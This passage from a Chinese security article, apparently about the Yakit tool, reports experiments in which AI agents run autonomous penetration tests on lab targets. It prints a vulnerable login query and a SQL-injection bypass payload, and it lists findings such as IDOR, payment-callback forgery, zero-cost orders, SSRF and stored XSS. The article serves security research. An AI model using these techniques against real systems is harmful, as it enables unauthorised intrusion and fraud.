left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">3.5 执行层效率</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046208" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3f354f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HpDJmfuabXEwlRVmXcx66sSNcB4uKB323Xm9aBNQbs0pAhOLjrSQKkLfOFlWXcm881BLR3VrVFBRJx26qYg1mdUibUicAbEyN9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">人工与 AI 的逐项耗时对比如下。</span></span></p><p style="text-align: center;margin-bottom: 8px;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mq4yk7guwrp" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046237" data-ratio="0.7574712643678161" data-s="300,640" type="block" data-type="png" data-w="870" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=d79a917f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72Gwr5fnsVAibiau7gW0d36UsFC9ibRzk10m4eTB2HJsjllaW2iaY0hxwexr1lB2ryyCRAhRvo5ib7lXFYbZxzAXXCnSg2ib6KhiboaDKs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">除真实支付（银行卡 / 微信 / 支付宝）AI 无法完成外，凡流量明确、认证清晰的环节，AI 提效均达数倍。表格之外，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">AI 还具备四项人力难以稳定保证的特质：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.不遗漏任一 TODO 测试项</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.可连续工作、不疲倦</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.状态稳定、无情绪波动</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.个体差异极小（无专家 / 实习之分）</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">业务漏洞普遍是长链路，长链路最大的风险正是人在长时间作业后漏掉环节，AI 在这一点上的稳定性是被低估的提速来源。随之而来的问题是测试质量如何保证，由下一节的对照实验回答。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq4z18l0195m" style="color: rgba(0, 0, 0, 0.85);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.04);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 18px;display: inline !important;" data-mpa-action-id="mq4z18la17a3" data-pm-slice="0 0 []"><span textstyle="" style="background-color: rgb(255, 255, 255);font-weight: bold;">四、对照实验：无业务建模的 AI Agent 表现</span></span></span></strong></p></div></div></div><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;vertical-align: top;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: stretch;"><p nodeleaf="" data-mpa-action-id="mq4z1mpa6nu" data-pm-slice="0 0 []" style="padding: 0.5em;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046209" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=0d1e9784&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EyEDOIo3npLxzibw3eBKYXLicicegia5QEr9CHRc7J7QyYaLoXOictsPFu6MP2M9Ey8hOFoSSwIomSoribeIqpyZtwibtKxia3tKkRxrY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">对照设计：取消人工业务建模，仅提供目标地址，让 AI Agent 从零自测，按难度分级评估。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">4.1 L1 基线：登录 SQL 注入</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046210" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=91aad6c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72G2cEzTMPvVpYoBQ0uHuiaPXNG8mCQhmvn3ZaiaibdHbbHYUrxRhm8fKMmdQJRCqyQZ0cecOA995lnxmhTj0CwhodMwicg5NwyZ3yU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">基线场景为存在 SQL 注入登录绕过的企业账号系统，后端查询如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">sql</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> ... <span class="code-snippet__keyword">FROM</span> enterprise_account</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">WHERE</span> tenant_code<span class="code-snippet__operator">=</span><span class="code-snippet__string">&#39;%s&#39;</span> <span class="code-snippet__keyword">AND</span> password<span class="code-snippet__operator">=</span><span class="code-snippet__string">&#39;%s&#39;</span></span></code><br/></pre></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI Agent 走标准 ReAct 链路：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.Observe：抓取 Login 流量</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.Thought：判定测试 SQL 注入绕过</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.Action：发送 `&#39; or &#39;1&#39;=&#39;1&#39; -- #`</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.Verify：观察 302/200 + Set-Cookie</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5.Judge：以 profile / subject_key 确认登录</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046211" src="https://wechat2rss.xlab.app/img-proxy/?k=ed417b00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GBkA8vAekSliczWWibL52ciawicLkj1Gic46tNVCG3OSVACByJIJibQfAU2ETO6WvGOnLg9sEApnnibuibjqiczTpkJiciaRYriaOb6QHy6cI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">工具层面为 Yakit Web Fuzzer + 数据包 + Prompt，AI 全自动接管。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">L1 单点漏洞 AI 接管无悬念，真正的考验在 L2。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 1 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">4.2 L2：长链路复杂商城</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046212" src="https://wechat2rss.xlab.app/img-proxy/?k=969abb0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GCthXhibtc8h7jShGiclasAXWceB4xubqXbvM5Mia0mbIFao7MxgheOdLUSHdqUiab3euicGKMHVu0I7icfUuEzt7L3omRo1ria0Pamk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">L2 为多子系统耦合的完整商城（登录 / 注册 / 管理员，订单 / 商品 / 用户 / 结算 / 支付）。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046213" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e15d481&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72F66ICCvAicyFeVF79ICES8xSdk22R4dBqT2Jnr5CiceiaEKUYBn145vECqgiaVmkmClWicsY3h2wVTWyDcj71Fby3iaIvymnZA6FNhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px 8px 8px;text-align: left;" data-mpa-action-id="mq4ylpna1r1t" data-pm-slice="0 0 []"><span style="line-height: 1.6em;font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">实验条件刻意苛刻：</span><span textstyle="" style="letter-spacing: 1px;">仅提供商城地址，连续测试约一小时，全程使用最普通的 prompt（约六轮&#34;继续测试&#34;），不提供任何业务提示。靶场 `redhaze.top` 不</span></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mq4ylpmzkrh"><span leaf="">开源、无训练材料、无引导性 URL 或注释，AI 无任何捷径，预期命中 8/22</span></span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mq4ylpmzrpe">（列表内）。三个主流模型结果如下。</span></p><p style="margin: 0px 0px 8px;text-align: left;" data-mpa-action-id="mq4ylpna1r1t" data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.85);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.04);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="background-color: rgb(255, 255, 255);color: rgb(253, 128, 9);font-weight: bold;text-decoration: underline;">L2 结果：Qwen3.7-Max</span></span></span></p><p style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;padding: 0.5em;margin-bottom: 8px;margin-top: 0px;" nodeleaf="" data-pm-slice="0 0 []" data-mpa-action-id="mq4yn46l16gb"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046214" src="https://wechat2rss.xlab.app/img-proxy/?k=579ec327&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GJ1uchj11Do6icz2Wry9E3zxrWe8ZB6fZevfTAuIJVrAKNibRFMG7AcvxvYHIQicoXMiaGo8nzFiajiaQwx3m58hRnLArq4htqGmxBE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px 8px 8px;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">连续工作 50 分 31 秒，工具调用 142 次，ReAct 迭代 168 轮，产出 17 个漏洞，预期命中 8/22（36%），逻辑漏洞占比 41%（7/17）。覆盖注册无邮箱验证、支付回调伪造、Guest IDOR 订单、跨店读单、优惠券枚举、大规模 PII 泄露（50 单）、负数量金额为负，直至混合负数 0 元购。</span></span></p><p style="margin-bottom: 8px;"><strong><span leaf="" style="font-weight: bold;line-height: 1.6em;font-size: 16px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 10px; outline: 0px; font-family: system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; letter-spacing: 0.544px; background-color: rgb(255, 255, 255); text-align: left; justify-content: flex-start; display: flex; flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 3px; outline: 0px; display: inline-block; width: auto; vertical-align: top; align-self: flex-start; flex: 0 0 auto; min-width: 5%; height: auto; background-color: rgb(255, 129, 36);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; justify-content: flex-start; display: flex; flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;text-decoration: underline;">L2 结果：GPT-5.5</span></span></strong></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046215" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf06b006&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EKicloziakNUEb9lGbYz4YAGW68L3cX0q77Pf621DMrVIoSZW0ZoRCu5xEv7p0icaCmianN6eh44FY5ibcaKgFVUTxQTpdPzWiaA3jA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">连续工作 71 分 43 秒，工具调用 115 次（-19%），ReAct 迭代 120 轮（-30%），产出 23 个漏洞（+26%），逻辑漏洞占比 65%（15/23）。已触及 Desk 工单跨系统边界：客户登录 SQLi 直接签发会话、负数订单置 paid（0 元购）、工单跨客户 IDOR、工单 Webhook SSRF。</span></span></p><p style="outline: 0px;margin-bottom: 8px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 10px; outline: 0px; font-family: system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; letter-spacing: 0.544px; background-color: rgb(255, 255, 255); text-align: left; justify-content: flex-start; display: flex; flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 3px; outline: 0px; display: inline-block; width: auto; vertical-align: top; align-self: flex-start; flex: 0 0 auto; min-width: 5%; height: auto; background-color: rgb(255, 129, 36);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; justify-content: flex-start; display: flex; flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 2px 12px 2px 15px; outline: 0px; display: inline-block; vertical-align: middle; width: auto; flex: 100 100 0%; height: auto; background-color: rgb(255, 255, 255); align-self: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; text-align: justify; color: rgb(27, 27, 27);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; font-size: 14px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);text-decoration: underline;">L2 结果：DeepSeek V4 Pro</span></span></strong></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046216" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=a54af569&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FPjPm2jsjZbRqB4EjP9ojkeTYo6Kfu5mJCKBtOeq2C9nzIYdsUGphP1HoUPDylNe1p0MhibIibU1RCQT0QGKYZkicjHLPJa6zaSs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">连续工作 85 分 56 秒，工具调用 152 次（+7%），ReAct 迭代 156 轮（-30%），产出 16 个漏洞，逻辑漏洞占比 81%（13/16）。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">同样触及 Desk 跨系统问题（工单评论存储型 XSS、Webhook 盲 SSRF），并发现购物车 + 下单负价校验完全绕过。</span></span></p><div style="margin-top: 